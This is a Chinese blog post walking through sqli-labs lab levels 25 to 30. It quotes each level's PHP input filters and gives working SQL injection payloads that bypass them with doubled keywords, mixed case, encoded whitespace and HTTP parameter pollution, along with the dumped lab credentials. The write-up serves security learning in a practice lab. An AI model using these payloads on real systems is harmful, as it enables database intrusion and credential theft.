2021年9月28日 星期二

從sqli-labs學習SQL注入(Less25-Less30)

 接續前篇 從sqli-labs學習SQL注入(Less19-Less24) 

Less-25

和Less-1相比,源碼過濾了 or 和 and 關鍵詞
$id= preg_replace('/or/i',"", $id);         //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id);        //Strip out AND (non case sensitive)

聯合盲注

爆值

以爆值password字段為例,這邊需要寫二次繞過(password寫成passwoorrd)
?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+
輸出內容:
Your Password:Dumb~Dumb,Angelina~I-kill-you,Dummy~p@ssword,secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin

測試注入點payload

?id=0' oorr 1=1 --+
?id=2' aandnd 1=1 --+

Less-25a

與 Less-25 相比,只是拼接方式改變,因為代碼中沒有輸出報錯信息,所以也無法進行報錯注入,其他利用方式都是一樣的

Less-26

源碼分析
# 過濾了 or 和 and 大小寫
$id= preg_replace('/or/i',"", $id);         //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)
# 過濾了 /*
$id= preg_replace('/[\/\*]/',"", $id);      //strip out /*
# 過濾了 -- 和 # 註釋
$id= preg_replace('/[--]/',"", $id);        //Strip out --
$id= preg_replace('/[#]/',"", $id);         //Strip out #
# 過濾了空格
$id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
# 過濾了斜線
$id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
過濾了 or 和 and 可以採用 雙寫或者 && || 繞過
過濾註釋 可以使用閉合繞過
過濾了空格 可以使用如下的符號來替代:
符號說明
%09TAB 鍵(水平)
%0a新建一行
%0c新的一頁
%0dreturn 功能
%0bTAB 鍵(垂直)
%a0空格

國光payload

?id=100'%0bunion%0bselect%0b1,(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,passwoorrd,0x3c62723e))))x),3%0baandnd%0b'1'='1
輸出內容:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'unionselect1,(SELECT(@x)FROM(SELECT(@x:=0x00),(SELECT(@x)FROM(users)WHERE(@x)IN(' at line 1
我的系統是CentOS 7.9 + nginx + php 5.6,用 %0b 繞過解這一題會報錯,改用 %a0 解題
 
?id=100'%a0union%a0select%a01,(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,0x3a,passwoorrd,0x3c62723e))))x),3%a0aandnd%a0'1'='1
輸出內容:Your Login name: Dumb:Dumb
Angelina:I-kill-you
Dummy:p@ssword
secure:crappy
stupid:stupidity
superman:genious
batman:mob!le
admin:admin
成功繞過

Less-26a

與 Less-26 相比,只是拼接方式改變了,從單引號改成單引號加括號,因為沒有輸出報錯信息,所以不能使用報錯注入了

Less-27

過濾規則又增加了許多
# 過濾了 /*
$id= preg_replace('/[\/\*]/',"", $id);
# 過濾了 -
$id= preg_replace('/[--]/',"", $id);
# 過濾了 #
$id= preg_replace('/[#]/',"", $id);
# 過濾了空格
$id= preg_replace('/[ +]/',"", $id);
# 過濾了 select /m 嚴格模式 不可以使用雙寫繞過
$id= preg_replace('/select/m',"", $id);
$id= preg_replace('/select/s',"", $id);
$id= preg_replace('/Select/s',"", $id);
$id= preg_replace('/SELECT/s',"", $id);

# 過濾了 union UNION
$id= preg_replace('/union/s',"", $id);
$id= preg_replace('/Union/s',"", $id);
$id= preg_replace('/UNION/s',"", $id);
union 和 select 沒有忽略大小寫 導致寫了很多冗雜的規則,但還是可以輕易繞過。
# 大小寫混寫
unioN
unIon
seLect
...

# 嵌套雙寫
uunionnion
sselectelect
ununionion
...

payload

?id=100'%a0ununionion%a0seLect%a01,(seLect(@x)FROM(seLect(@x:=0x00) ,(seLect(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,0x3a,password,0x3c62723e))))x),3%a0and%a0'1
輸出內容:
Your Login name: Dumb:Dumb
Angelina:I-kill-you
Dummy:p@ssword
secure:crappy
stupid:stupidity
superman:genious
batman:mob!le
admin:admin

Less-27a

和 Less-27 相比,只是拼接方式發生了改變,從單引號改成雙引號,又因為沒有報錯日誌的輸出,所以少了報錯注入的利用方式,利用方式換湯不換藥

Less-28

過濾規則如下
# 過濾 /*
$id= preg_replace('/[\/\*]/',"", $id);

# 過濾 - # 註釋
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);

# 過濾 空格 +
$id= preg_replace('/[ +]/',"", $id);.

# 過濾 union select /i 大小寫都過濾
$id= preg_replace('/union\s+select/i',"", $id);
這裡 union 和 select 這裡可以使用雙寫嵌套繞過,過濾了註釋的話 就使用閉合繞過,過濾了空格使用 Less-26 的編碼繞過

payload

?id=100')%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(username,0x3a,password%a0SEPARATOR%a00x3c62723e)%a0FROM%a0users),3%a0and%a0('1
輸出內容:
Your Login name:Dumb:Dumb
Angelina:I-kill-you
Dummy:p@ssword
secure:crappy
stupid:stupidity
superman:genious
batman:mob!le
admin:admin

Less-28a

同Less-28,還少了幾個過濾規則,拼接方式都一樣。略


Less-29

這題考的觀念是,假設用戶輸入這樣的語句:
index.php?id=1&id=2
Apache PHP 會解析最後一個參數(nginx也是)
Tomcat JSP 會解析第一個參數
Less-29/login.php 模擬了nginx/apache 前面有一個jsp的防火墻,使用java_implimentation()和whitelist()檢查id這個輸入必須是數字
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
whitelist($id1);

//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
    $match = preg_match("/^\d+$/", $input);
    if($match)
    {
        //echo "you are good";
        //return $match;
    }
    else
    {   
        header('Location: hacked.php');
        //echo "you are bad";
    }
}

// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
    $q_s = $query_string;
    $qs_array= explode("&",$q_s);


    foreach($qs_array as $key => $value)
    {
        $val=substr($value,0,2);
        if($val=="id")
        {
            $id_value=substr($value,3,30); 
            return $id_value;
            echo "
"; break; } } }


失敗的payload

login.php?id=-2' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+
會跳到 hacked.php

HPP(HTTP Parameter Pollution)即 HTTP 參數污染攻擊payload

login.php?id=1&id=-2' union select 1,2,(SELECT+GROUP_CONCAT(username,0x3a,password+SEPARATOR+0x3c62723e)+FROM+users)--+
輸出內容:Your Password:Dumb:Dumb
Angelina:I-kill-you
Dummy:p@ssword
secure:crappy
stupid:stupidity
superman:genious
batman:mob!le
admin:admin

成功繞過

Less-30

和Less-29一樣,只是拼接方式從單引號改成雙引號 






















沒有留言:

張貼留言